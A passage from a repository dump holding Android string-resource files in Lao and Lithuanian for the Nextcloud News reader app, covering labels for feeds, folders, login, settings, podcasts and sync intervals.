Feed</string>\n    <string name=\"action_feed_notification_settings\">Notification settings</string>\n    <string name=\"action_feed_open_in\">Open-in settings</string>\n    <string name=\"action_feed_open_in_general_setting\">Use general setting</string>\n    <string name=\"action_feed_open_in_detailed_view\">Detailed view</string>\n    <string name=\"feed_remove_button\">ຍ້າຍອອກ</string>\n    <string name=\"feed_rename_button\">ປ່ຽນຊື່</string>\n    <string name=\"confirm_feed_remove\">Do you really want to remove this Feed? This cannot be undone!</string>\n    <string name=\"feed_move_list_description\">Select folder to move feed in</string>\n    <string name=\"move_feed_root_folder\">Root folder</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Remove folder</string>\n    <string name=\"action_folder_rename\">ປ່ຽນຊືໂຟນເດີ</string>\n    <string name=\"folder_remove_button\">ຍ້າຍອອກ</string>\n    <string name=\"folder_rename_button\">ປ່ຽນຊື່</string>\n    <string name=\"confirm_folder_remove\">Do you really want to remove this folder? This cannot be undone!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Receive unique notifications for this feed</string>\n    <string name=\"notification_feed_default\">All feeds with the default settings will appear in one notification</string>\n    <string name=\"notification_feed_none\">No notifications at all</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">ເພີ່ມ</string>\n    <string name=\"hint_folder_name\">ຊື່ໂຟນເດີ</string>\n    <string name=\"folder_already_exists\">The folder already exists</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Manual login</string>\n    <string name=\"login_sso\">Login using Nextcloud Files App</string>\n    <string name=\"pref_title_username\">ຊື່ຜູ້ໃຊ້</string>\n    <string name=\"pref_title_password\">ລະຫັດຜ່ານ</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud root address</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Sign in</string>\n    <string name=\"login_progress_signing_in\">Signing in …</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">This field is required</string>\n    <string name=\"error_invalid_url\">Incorrect URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"other\">Marked %d items as read</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"other\">Downloaded %d old items</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">No further items available</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"other\">Fetched %d items so far …</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">ການຕັ້ງຄ່າ</string>\n    <string name=\"cache_is_cleared\">Cache is cleared!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">ທົ່ວໄປ</string>\n    <string name=\"pref_title_general_sort_order\">Sort Order</string>\n\n    <string name=\"pref_general_sort_order_new_old\">New → Old</string>\n    <string name=\"pref_general_sort_order_old_new\">Old → New</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Action when swiping right</string>\n    <string name=\"pref_rename_action_swipe_left\">Action when swiping left</string>\n\n    <string name=\"pref_title_general_search_in\">Search In</string>\n\n    <string name=\"pref_general_search_in_title\">ຫົວຂໍ້</string>\n    <string name=\"pref_general_search_in_body\">Body</string>\n    <string name=\"pref_general_search_in_both\">Both</string>\n\n    <string name=\"dialog_clearing_cache\">Clearing cache</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Clearing cache. Please wait …</string>\n    <string name=\"reset_cache_unsaved_changes\">There are unsynchronized changes. Would you like to reset the cache anyway?</string>\n    <string name=\"warning\">ແຈ້ງເຕືອນ</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sync on startup</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Show only unread articles</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Disable Hostname Verification</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Navigate with volume buttons</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Mark as read while scrolling</string>\n    <string name=\"pref_title_ShowFastActions\">Activate fast access functions</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Skip detailed view and open article in the browser</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Back button opens drawer</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Accept Unknown Certificate?</string>\n    <string name=\"mtm_decision_always\">Always</string>\n    <string name=\"mtm_decision_abort\">ຍົກເລີກ</string>\n    <string name=\"mtm_notification\">Certificate Verification</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">No podcast selected</string>\n    <string name=\"no_chapters_available\">No chapters available</string>\n    <string name=\"exit_playback\">Exit Player</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Playback Speed</string>\n    <string name=\"notification_downloading_podcast_title\">Downloading podcast</string>\n    <string name=\"dialog_podcast_remove_title\">Are you sure?</string>\n    <string name=\"dialog_podcast_remove_body\">Do you want to remove downloaded media for %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Failed to remove media for %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Media for %1$s has been removed</string>\n    <string name=\"dialog_podcast_remove_confirm\">ຍ້າຍອອກ</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">ກ່ຽວກັບ</string>\n    <string name=\"pref_license\">ໃບອະນຸຍາດ</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) version 3</string>\n    <string name=\"pref_report_issue\">Report an issue</string>\n    <string name=\"pref_report_issue_summary\">Requires a (free) GitHub account</string>\n    <string name=\"pref_contribute\">Contribute!</string>\n    <string name=\"pref_contribute_summary\">Get the source code</string>\n    <string name=\"pref_privacy\">ສ່ວນຕົວ</string>\n    <string name=\"pref_privacy_summary\">Nextcloud News Android Privacy Policy</string>\n    <string name=\"pref_news_policy\">Contact Us / News Policy</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud News Android News Policy / Contact Us</string>\n    <string name=\"pref_version\">Nextcloud News Android app</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Display</string>\n    <string name=\"pref_title_app_theme\">ຫົວຂໍ້</string>\n    <string name=\"pref_title_feed_list_layout\">Feed list layout</string>\n    <string name=\"pref_title_font_size\">Font size</string>\n    <string name=\"pref_display_browser\">Browser</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Action icons (Detail View)</string>\n\n    <string name=\"pref_display_apptheme_auto\">System Default</string>\n    <string name=\"pref_display_apptheme_light\">ແຈ້ງ</string>\n    <string name=\"pref_display_apptheme_dark\">ມືດ</string>\n\n    <string name=\"pref_oled_mode\">Black background</string>\n    <string name=\"pref_oled_mode_summary\">For dark theme on OLED screens</string>\n\n    <string name=\"pref_external_player\">External Player</string>\n    <string name=\"pref_external_player_summary\">Play podcasts in your default media app</string>\n\n    <string name=\"pref_display_browser_cct\">Built-in Chrome-Custom-Tabs</string>\n    <string name=\"pref_display_browser_built_in\">Built-in Browser</string>\n    <string name=\"pref_display_browser_external\">External Browser</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Thumbnails (only Headlines)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Thumbnails</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Simple text</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Headlines</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Full text</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Web layout</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Card view</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Small</string>\n    <string name=\"pref_display_font_size_d\">ເລີ່ມຕົ້ນ</string>\n    <string name=\"pref_display_font_size_l\">Large</string>\n    <string name=\"pref_display_font_size_xl\">Extra Large</string>\n\n    <string name=\"content_desc_play\">Play</string>\n    <string name=\"content_desc_pause\">Pause</string>\n    <string name=\"content_desc_playback_speed\">Playback speed</string>\n    <string name=\"content_desc_rewind\">Rewind</string>\n    <string name=\"content_desc_forward\">ໄປຂ້າງຫນ້າ</string>\n    <string name=\"content_desc_expand\">Expand</string>\n    <string name=\"content_desc_collapse\">Collapse</string>\n    <string name=\"content_desc_mark_as_read\">Mark as read</string>\n    <string name=\"content_desc_mark_as_unread\">Mark as unread</string>\n    <string name=\"content_desc_tap_to_refresh\">Tap to refresh</string>\n    <string name=\"content_desc_add_to_favorites\">ເພີ່ມລາຍການທີ່ມັກ</string>\n    <string name=\"content_desc_remove_from_favorites\">ຍ້າຍຈາກລາຍການທີ່ມັກ</string>\n    <string name=\"content_desc_show_password\">ສະແດງລະຫັດຜ່ານ</string>\n    <string name=\"content_desc_delete\">ລຶບ</string>\n    <string name=\"content_desc_download\">ດາວໂຫລດ</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">ຜິດພາດ</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">It looks like your news app is not installed or activated on your server. Please follow the instructions given here to setup the news app on your server first: %1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Something went wrong :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">The Web News App returned Version \"0\". Please take a look at the following bug report: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">This App version is not compatible with your Nextcloud News App. Please upgrade the news app and the appframework.</string>\n    <string name=\"login_dialog_title_security_warning\">Security Warning</string>\n    <string name=\"login_dialog_text_security_warning\">You\\'re not using HTTPS, which is strongly encouraged. An attacker could intercept your traffic and gain access to some sensitive data (e.g. your password).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Something went wrong. Please try again.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Data &amp; sync</string>\n    <string name=\"pref_title_clearCache\">ລ້າງ Cache </string>\n    <string name=\"pref_title_CacheImagesOffline\">Cache images offline</string>\n    <string name=\"pref_title_Max_Cache_Size\">Max Cache Size</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Never</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Over WiFi only</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Over WiFi &amp; Mobile</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Ask when not connected to WiFi</string>\n\n    <string name=\"array_sync_interval_min_0\">Never</string>\n    <string name=\"array_sync_interval_min_5\">5 minutes</string>\n    <string name=\"array_sync_interval_min_15\">15 minutes</string>\n    <string name=\"array_sync_interval_min_30\">30 ນາທີ</string>\n    <string name=\"array_sync_interval_min_45\">45 minutes</string>\n    <string name=\"array_sync_interval_hour_1\">1 ຊົ່ວໂມງ</string>\n    <string name=\"array_sync_interval_hour_2\">2 hours</string>\n    <string name=\"array_sync_interval_hour_3\">3 hours</string>\n    <string name=\"array_sync_interval_hour_6\">6 hours</string>\n    <string name=\"array_sync_interval_hour_12\">12 hours</string>\n    <string name=\"array_sync_interval_hour_24\">24 hours</string>\n    <string name=\"switch_account\">ສະຫຼັບບັນຊີ</string>\n    \n    <string name=\"successfully_exported\">Successfully exported to:</string>\n    <string name=\"opml_export\">OPML Export</string>\n    <string name=\"parsing_opml\">Parsing OPML</string>\n    <string name=\"please_wait\">ກະລຸນາລໍຖ້າ...</string>\n    <string name=\"interval_sync_title\">Interval Sync</string>\n\n    </resources>\n"
  },
  {
    "path": "News-Android-App/src/main/res/values-lt-rLT/strings.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<resources>\n\n    <string name=\"auto_sync_string\">Automatinis sinchronizavimas</string>\n    <string name=\"title_activity_sync_interval_selector\">Sinchronizavimo intervalas</string>\n    <string name=\"empty_view_content\">Čia nėra jokių elementų</string>\n    <string name=\"empty_view_content_action\">Patraukite žemyn norėdami įkelti iš naujo</string>\n    <string name=\"toast_GettingMoreItems\">Elementai pradėti siųsti... Prašome palaukti.</string>\n    <string name=\"no_wifi_available\">Nėra prijungtas WiFi</string>\n    <string name=\"do_you_want_to_download_without_wifi\">Ar norite atsisiųsti paveikslus be Wi-Fi ryšio?</string>\n    <string name=\"current_version\">Jūs naudojate versiją %s</string>\n    <string name=\"widget_header\">Nextcloud Naujienos</string>\n    <string name=\"message_bar_scroll_top\">Įkelti iš naujo ir slinkti į viršų</string>\n    <plurals name=\"message_bar_new_articles_available\">\n        <item quantity=\"one\">Yra prieinamas %d naujas elementas</item>\n        <item quantity=\"few\">Yra prieinami %d nauji elementai</item>\n        <item quantity=\"many\">Yra prieinama %d naujų elementų</item>\n        <item quantity=\"other\">Yra prieinama %d naujų elementų</item>\n    </plurals>\n    <string name=\"message_bar_reload\">Įkelti iš naujo</string>\n    <string name=\"allUnreadFeeds\">Visi neskaityti elementai</string>\n    <string name=\"starredFeeds\">Pažymėti elementai</string>\n    <string name=\"downloadedPodcasts\">Atsisiųstos tinklalaidės</string>\n    <string name=\"title_activity_new_feed\">Pridėti naują kanalą</string>\n\n    <string name=\"menu_update\">Įkelti iš naujo</string>\n    <string name=\"menu_markAllAsRead\">Žymėti visus kaip skaitytus</string>\n    <string name=\"menu_StartImageCaching\">Atsisiųsti paveikslus</string>\n    <string name=\"menu_downloadMoreItems\">Atsiųsti daugiau elementų</string>\n\n    <string name=\"tv_showing_cached_version\">Rodyti versiją iš podėlio</string>\n\n    <!-- Action Bar Items -->\n    <string name=\"action_starred\">Pažymėti</string>\n    <string name=\"action_read\">Skaityti</string>\n    <string name=\"action_playPodacst\">Groti tinklalaidę</string>\n    <string name=\"action_removePodcast\">Pašalinti tinklalaidės mediją</string>\n    <string name=\"action_openInBrowser\">Atverti saityno naršyklėje</string>\n    <string name=\"action_Share\">Bendrinti</string>\n    <string name=\"action_login\">Serverio nustatymai</string>\n    <string name=\"action_save\">Įrašyti</string>\n    <string name=\"action_settings\">Nustatymai</string>\n    <string name=\"action_sync_settings\">Sinchronizavimo nustatymai</string>\n    <string name=\"action_add_new_feed\">Pridėti naują kanalą</string>\n    <string name=\"action_add_new_folder\">Pridėti naują aplanką</string>\n    <string name=\"action_textToSpeech\">Perskaitykite</string>\n    <string name=\"action_search\">Ieškoti</string>\n    <string name=\"action_download_articles_offline\">Atsisiųsti straipsnius neprisijungus</string>\n    <!-- notifications -->\n    <string name=\"notification_download_articles_offline\">Straipsnių atsisiuntimas naudojimui neprisijungus</string>\n    <string name=\"notification_download_images_offline\">Straipsnių paveikslus naudojimui neprisijungus</string>\n    <plurals name=\"notification_new_items_ticker\">\n        <item quantity=\"one\">Turite %d neskaitytą elementą</item>\n        <item quantity=\"few\">Turite %d neskaitytus elementus</item>\n        <item quantity=\"many\">Turite %d neskaitytų elementų</item>\n        <item quantity=\"other\">Turite %d neskaitytų elementų</item>\n    </plurals>\n    <plurals name=\"notification_new_items_text\">\n        <item quantity=\"one\">%d neperskaitytas įrašas</item>\n        <item quantity=\"few\">%d neperskaityti įrašai</item>\n        <item quantity=\"many\">%d neperskaitytų įrašų</item>\n        <item quantity=\"other\">%d neperskaityti įrašai</item>\n    </plurals>\n\n    <!-- Add new feed -->\n    <string name=\"hint_feed_url\">Kanalo URL</string>\n    <string name=\"action_add_feed\">Pridėti kanalą</string>\n    <string name=\"import_opml\">Importuoti OPML</string>\n    <string name=\"export_opml\">Eksportuoti OPML</string>\n\n\n    <!-- String related to NewsDetail-ContextMenu Items -->\n    <string name=\"action_img_download\">Atsisiųsti paveikslą</string>\n    <string name=\"action_img_sharelink\">Bendrinti paveikslo nuorodą</string>\n    <string name=\"action_img_open\">Atverti paveikslą naršyklėje</string>\n    <string name=\"action_img_copylink\">Kopijuoti paveikslo nuorodą</string>\n    <string name=\"action_link_share\">Bendrinimo nuoroda</string>\n    <string name=\"action_link_open\">Atverti nuorodą naršyklėje</string>\n    <string name=\"action_link_copy\">Kopijuoti nuorodą</string>\n    <string name=\"toast_img_download_wait\">Atsisiunčiama. Palaukite…</string>\n    <string name=\"toast_img_saved\">Paveikslas įrašytas</string>\n    <string name=\"toast_img_notwriteable\">Nepavyko įrašyti paveikslo.</string>\n    <string name=\"toast_copied_to_clipboard\">Nukopijuota į iškarpinę</string>\n    <string name=\"error_download_failed\">Atsiuntimas nepavyko</string>\n    <string name=\"intent_title_share\">Bendrinti per</string>\n\n\n    <!-- Strings related to NewsReaderListDialogFragment (Rename/Remove Feed) -->\n    <string name=\"action_feed_remove\">Šalinti kanalą</string>\n    <string name=\"action_feed_rename\">Pervadinti kanalą</string>\n    <string name=\"action_feed_move\">Perkelti kanalą</string>\n    <string name=\"action_feed_notification_settings\">Pranešimų nustatymai</string>\n    <string name=\"action_feed_open_in\">Atidarymo nustatymai</string>\n    <string name=\"action_feed_open_in_general_setting\">Naudoti bendruosius nustatymus</string>\n    <string name=\"action_feed_open_in_detailed_view\">Išsamus vaizdas</string>\n    <string name=\"feed_remove_button\">Šalinti</string>\n    <string name=\"feed_rename_button\">Pervadinti</string>\n    <string name=\"confirm_feed_remove\">Ar tikrai norite pašalinti šį kanalą? Šio veiksmo neįmanoma bus atšaukti!</string>\n    <string name=\"feed_move_list_description\">Pasirinkite aplanką į kurį norite perkelti kanalą</string>\n    <string name=\"move_feed_root_folder\">Šakninis aplankas</string>\n\n\n    <!-- Strings related to FolderOptionsDialogFragment (Rename/Remove folder) -->\n    <string name=\"action_folder_remove\">Šalinti aplanką</string>\n    <string name=\"action_folder_rename\">Pervadinti aplanką</string>\n    <string name=\"folder_remove_button\">Šalinti</string>\n    <string name=\"folder_rename_button\">Pervadinti</string>\n    <string name=\"confirm_folder_remove\">Ar tikrai norite pašalinti šį aplanką? Šio veiksmo negalima atšaukti!</string>\n\n    <!-- Strings related to NewsReaderListDialogFragment (Notification Settings) -->\n    <string name=\"notification_feed_unique\">Gauti unikalius pranešimus apie šį sklaidos kanalą</string>\n    <string name=\"notification_feed_default\">Visi kanalai su numatytaisiais nustatymais bus rodomi viename pranešime</string>\n    <string name=\"notification_feed_none\">Iš viso jokių pranešimų</string>\n\n    <!-- Strings related to AddFolderDialogFragment (Add Folder) -->\n    <string name=\"folder_add_button\">Pridėti</string>\n    <string name=\"hint_folder_name\">Aplanko pavadinimas</string>\n    <string name=\"folder_already_exists\">Aplankas jau yra</string>\n\n    <!-- Strings related to login -->\n    <string name=\"login_manual\">Rankinis prisijungimas</string>\n    <string name=\"login_sso\">Prisijunkite naudodami Nextcloud Failai programėlę</string>\n    <string name=\"pref_title_username\">Naudotojo vardas</string>\n    <string name=\"pref_title_password\">Slaptažodis</string>\n    <string name=\"pref_title_owncloudRootPath\">Nextcloud šakninis adresas</string>\n    <string name=\"pref_default_owncloudRootPath\">https://1.2.3.4/nextcloud</string>\n\n    <string name=\"action_sign_in_short\">Prisijungti</string>\n    <string name=\"login_progress_signing_in\">Prisijungiama…</string>\n    <!-- <string name=\"error_incorrect_password\">Incorrect password</string> -->\n    <string name=\"error_field_required\">Šis laukas privalomas</string>\n    <string name=\"error_invalid_url\">Neteisingas URL</string>\n\n    <!--Snackbar Messages -->\n    <plurals name=\"marked_as_read_message\">\n        <item quantity=\"one\">%d elementas pažymėtas kai perskaitytas</item>\n        <item quantity=\"few\">%d elementai pažymėti kai perskaityti</item>\n        <item quantity=\"many\">%d elementų pažymėta kai perskaityti</item>\n        <item quantity=\"other\">%d elementų pažymėta kai perskaityti</item>\n    </plurals>\n\n    <!-- Toast Messages -->\n    <plurals name=\"toast_downloaded_x_items\">\n        <item quantity=\"one\">Atsiųstas %d senas elementas</item>\n        <item quantity=\"few\">Atsiųsti %d seni elementai</item>\n        <item quantity=\"many\">Atsiųsta %d senų elementų</item>\n        <item quantity=\"other\">Atsiųsta %d senų elementų</item>\n    </plurals>\n    <string name=\"toast_no_more_downloads_available\">Daugiau elementų nėra</string>\n    <plurals name=\"fetched_items_so_far\">\n        <item quantity=\"one\">Jau gautas %d elementas…</item>\n        <item quantity=\"few\">Jau gauti %d elementai…</item>\n        <item quantity=\"many\">Jau gauta %d elementų…</item>\n        <item quantity=\"other\">Jau gautas %d elementas…</item>\n    </plurals>\n\n\n    <!-- Strings related to Settings -->\n    <string name=\"title_activity_settings\">Nustatymai</string>\n    <string name=\"cache_is_cleared\">Podėlis išvalytas!</string>\n\n\n    <!-- General settings -->\n    <string name=\"pref_header_general\">Bendra</string>\n    <string name=\"pref_title_general_sort_order\">Rikiavimo tvarka</string>\n\n    <string name=\"pref_general_sort_order_new_old\">Nauji → Seni</string>\n    <string name=\"pref_general_sort_order_old_new\">Seni → Nauji</string>\n\n    <string name=\"pref_rename_action_swipe_right\">Veiksmas perbraukiant dešinėn</string>\n    <string name=\"pref_rename_action_swipe_left\">Veiksmas perbraukiant kairėn</string>\n\n    <string name=\"pref_title_general_search_in\">Ieškoti</string>\n\n    <string name=\"pref_general_search_in_title\">Pavadinimas</string>\n    <string name=\"pref_general_search_in_body\">Teksto dalis</string>\n    <string name=\"pref_general_search_in_both\">Abu</string>\n\n    <string name=\"dialog_clearing_cache\">Išvalomas podėlis</string>\n    <string name=\"dialog_clearing_cache_please_wait\">Išvalomas podėlis. Palaukite…</string>\n    <string name=\"reset_cache_unsaved_changes\">Yra nesinchronizuotų pakeitimų. Ar vis tiek norite atstatyti podėlį?</string>\n    <string name=\"warning\">Įspėjimas</string>\n    <string name=\"pref_title_AutoSyncOnStart\">Sinchronizuoti startuojant</string>\n    <string name=\"pref_title_ShowOnlyUnread\">Rodyti tik neskaitytus straipsnius</string>\n    <string name=\"pref_title_DisableHostnameVerification\">Išjungti serverio vardo tikrinimą</string>\n    <string name=\"pref_title_NavigateWithVolumeButtons\">Naršyti su garso mygtukais</string>\n    <string name=\"pref_title_MarkAsReadWhileScrolling\">Pažymėti kaip perskaitytą slenkant</string>\n    <string name=\"pref_title_SyncWhenScrolledToBottom\">Sinchronizuoti slenkant žemyn</string>\n    <string name=\"pref_title_ShowFastActions\">Įjunkite greitos prieigos funkcijas</string>\n    <string name=\"pref_title_OpenInBrowserDirectly\">Praleisti išsamų atvaizdavimą ir atidaryti straipsnį naršyklėje.</string>\n    <string name=\"pref_title_BackButtonOpensDrawer\">Grįžimo mygtukas atveria meniu</string>\n\n    <!-- MemorizingTrustManager -->\n    <string name=\"mtm_accept_cert\">Priimti nežinomą liudijimą?</string>\n    <string name=\"mtm_decision_always\">Visada</string>\n    <string name=\"mtm_decision_abort\">Nutraukti</string>\n    <string name=\"mtm_notification\">Sertifikato patikrinimas</string>\n\n\n    <!-- Podcast -->\n    <string name=\"no_podcast_selected\">Nepasirinkta jokia tinklalaidė</string>\n    <string name=\"no_chapters_available\">Skyriai neprieinami</string>\n    <string name=\"exit_playback\">Išeiti iš grotuvo</string>\n    <string name=\"podcast_playback_speed_dialog_title\">Atkūrimo greitis</string>\n    <string name=\"notification_downloading_podcast_title\">Atsisiunčiama tinklalaidė</string>\n    <string name=\"dialog_podcast_remove_title\">Ar esate tikri?</string>\n    <string name=\"dialog_podcast_remove_body\">Ar norite pašalinti atsisiųstą mediją iš %1$s?</string>\n    <string name=\"dialog_podcast_status_failed\">Nepavyko pašalinti medijos, skirtos %1$s</string>\n    <string name=\"dialog_podcast_status_success\">Medija skirta %1$s buvo pašalinta</string>\n    <string name=\"dialog_podcast_remove_confirm\">Šalinti</string>\n\n    <!-- Settings for About -->\n    <string name=\"pref_header_about\">Apie</string>\n    <string name=\"pref_license\">Licencija</string>\n    <string name=\"pref_license_summary\">GNU Affero General Public License (AGPL) 3 versija</string>\n    <string name=\"pref_report_issue\">Pranešti apie klaidą</string>\n    <string name=\"pref_report_issue_summary\">Reikalinga (nemokama) GitHub paskyra</string>\n    <string name=\"pref_contribute\">Talkinti!</string>\n    <string name=\"pref_contribute_summary\">Gauti pirminį kodą</string>\n    <string name=\"pref_privacy\">Privatumas</string>\n    <string name=\"pref_privacy_summary\">Nextcloud Naujienos Android privatumo politika</string>\n    <string name=\"pref_news_policy\">Susisiekite su mumis / Naujienų politika</string>\n    <string name=\"pref_news_policy_summary\">Nextcloud Naujienos Android „News“ politika / Susisiekite su mumis</string>\n    <string name=\"pref_version\">Nextcloud Naujienos Android programėlė</string>\n\n\n    <!-- Settings for Display -->\n    <string name=\"pref_header_display\">Ekranas</string>\n    <string name=\"pref_title_app_theme\">Apipavidalinimas</string>\n    <string name=\"pref_title_feed_list_layout\">Kanalų sąrašo išdėstymas</string>\n    <string name=\"pref_title_font_size\">Šrifto dydis</string>\n    <string name=\"pref_display_browser\">Naršyklė</string>\n\n\n    <string name=\"pref_display_news_detail_actionbar_icons_title\">Veiksmų ikonos (Išsamus atvaizdavimas)</string>\n\n    <string name=\"pref_display_apptheme_auto\">Sistemos numatytasis</string>\n    <string name=\"pref_display_apptheme_light\">Šviesus</string>\n    <string name=\"pref_display_apptheme_dark\">Tamsus</string>\n\n    <string name=\"pref_oled_mode\">Juodas fonas</string>\n    <string name=\"pref_oled_mode_summary\">Tamsi tema OLED ekranuose</string>\n\n    <string name=\"pref_detailed_view_zoom\">Detalaus vaizdo priartinimas</string>\n    <string name=\"pref_detailed_view_zoom_summary\">Įgalinti turinio mastelio keitimą išsamiame rodinyje</string>\n\n    <string name=\"pref_external_player\">Išorinis grotuvas</string>\n    <string name=\"pref_external_player_summary\">Klausykitės tinklalaidžių numatytoje medijos programoje</string>\n\n    <string name=\"pref_display_browser_cct\">Integruoti „Chrome“ tinkinti skirtukai</string>\n    <string name=\"pref_display_browser_built_in\">Integruota naršyklė</string>\n    <string name=\"pref_display_browser_external\">Išorinė naršyklė</string>\n\n    <string name=\"pref_display_feed_list_layout_headline_thumbnails\">Miniatiūros (tik antraštės)</string>\n    <string name=\"pref_display_feed_list_layout_thumbnails\">Miniatiūros</string>\n    <string name=\"pref_display_feed_list_layout_simple_text\">Paprastas tekstas</string>\n    <string name=\"pref_display_feed_list_layout_headlines\">Antraštės</string>\n    <string name=\"pref_display_feed_list_layout_full_text\">Visas tekstas</string>\n    <string name=\"pref_display_feed_list_layout_web_layout\">Saityno išdėstymas</string>\n    <string name=\"pref_display_feed_list_layout_card_view\">Kortelės rodinys</string>\n\n    <!-- font size scaling definitions -->\n    <string name=\"pref_display_font_size_s\">Mažas</string>\n    <string name=\"pref_display_font_size_d\">Numatytoji</string>\n    <string name=\"pref_display_font_size_l\">Didelis</string>\n    <string name=\"pref_display_font_size_xl\">Labai didelis</string>\n\n    <string name=\"content_desc_play\">Atkurti</string>\n    <string name=\"content_desc_pause\">Pristabdyti</string>\n    <string name=\"content_desc_playback_speed\">Atkūrimo greitis</string>\n    <string name=\"content_desc_rewind\">Atsukti atgal</string>\n    <string name=\"content_desc_forward\">Persukti į priek</string>\n    <string name=\"content_desc_expand\">Išskleisti</string>\n    <string name=\"content_desc_collapse\">Suskleisti</string>\n    <string name=\"content_desc_mark_as_read\">Žymėti kaip skaitytą</string>\n    <string name=\"content_desc_mark_as_unread\">Žymėti kaip neskaitytą</string>\n    <string name=\"content_desc_tap_to_refresh\">Palieskite, kad atnaujintumėte</string>\n    <string name=\"content_desc_add_to_favorites\">Pridėti į mėgstamus</string>\n    <string name=\"content_desc_remove_from_favorites\">Šalinti iš mėgstamų</string>\n    <string name=\"content_desc_show_password\">Rodyti slaptažodį</string>\n    <string name=\"content_desc_delete\">Ištrinti</string>\n    <string name=\"content_desc_download\">Atsisiųsti</string>\n\n    <!-- Login Dialog -->\n    <string name=\"login_dialog_title_error\">Klaida</string>\n    <string name=\"login_dialog_text_news_app_not_installed_on_server\" formatted=\"true\">Panašu, kad naujienų programėlė nėra įdiegta ar aktyvuota jūsų serveryje. Atlikite instrukcijoje pateiktus veiksmus, kad įdiegtumėte programėlę savo serveryje:%1$s</string>\n    <string name=\"login_dialog_text_something_went_wrong\">Kažkas nutiko :(</string>\n    <string name=\"login_dialog_text_zero_version_code\">„Web News“ programėlė grąžino versiją „0“. Prašome peržvelgti pranešimą apie klaidas: https://github.com/nextcloud/news/issues/5#issuecomment-242883795</string>\n    <string name=\"login_dialog_text_not_compatible\">Ši programėlės versija nėra suderinama su jūsų Nextcloud Naujienų programėle. Atnaujinkite Naujienų programėlę ir programėlių sistemą (appframework).</string>\n    <string name=\"login_dialog_title_security_warning\">Saugumo įspėjimas</string>\n    <string name=\"login_dialog_text_security_warning\">Nenaudojate HTTPS, o tai primygtinai rekomenduojama. Užpuolikas gali perimti jūsų srautą ir gauti prieigą prie kai kurių neskelbtinų duomenų (pvz., jūsų slaptažodžio).</string>\n    <string name=\"login_dialog_select_account_unknown_error_toast\">Kažkas nutiko. Bandykite dar kartą.</string>\n\n\n    <!-- Data & Sync -->\n    <string name=\"pref_header_data_sync\">Duomenys &amp; sinchonizuoti</string>\n    <string name=\"pref_title_clearCache\">Išvalyti podėlį</string>\n    <string name=\"pref_title_CacheImagesOffline\">Saugoti paveikslėlius darbui neprisijungus</string>\n    <string name=\"pref_title_Max_Cache_Size\">Didžiausias podėlio dydis</string>\n\n    <string name=\"pref_data_sync_image_cache_never\">Niekada</string>\n    <string name=\"pref_data_sync_image_cache_wifi_only\">Tik per belaidį (WiFi)</string>\n    <string name=\"pref_data_sync_image_cache_wifi_and_mobile\">Per belaidį (WiFi) ir mobiliuosius duomenis</string>\n    <string name=\"pref_data_sync_image_cache_ask\">Klausti, kai neprisijungta prie belaidžio (WiFi)</string>\n\n    <string name=\"array_sync_interval_min_0\">Niekada</string>\n    <string name=\"array_sync_interval_min_5\">5 minutės</string>\n    <string name=\"array_sync_interval_min_15\">15 minučių</string>\n    <string 